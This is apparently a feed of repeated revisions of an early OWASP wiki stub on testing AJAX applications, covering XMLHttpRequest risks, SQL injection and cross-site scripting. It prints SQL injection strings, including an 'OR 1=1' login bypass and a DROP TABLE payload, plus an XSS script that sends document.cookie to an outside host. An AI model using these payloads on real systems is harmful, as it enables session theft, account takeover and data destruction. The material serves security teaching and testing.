&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11727</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11727"/>
				<updated>2006-11-05T05:23:45Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Increased Attack Surface==&amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11726</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11726"/>
				<updated>2006-11-05T05:22:00Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Increased Attack Surface'''&amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11725</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11725"/>
				<updated>2006-11-05T05:20:58Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Increased Attack Surface'''&amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11724</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11724"/>
				<updated>2006-11-05T05:09:37Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Increased Attack Surface'''&amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
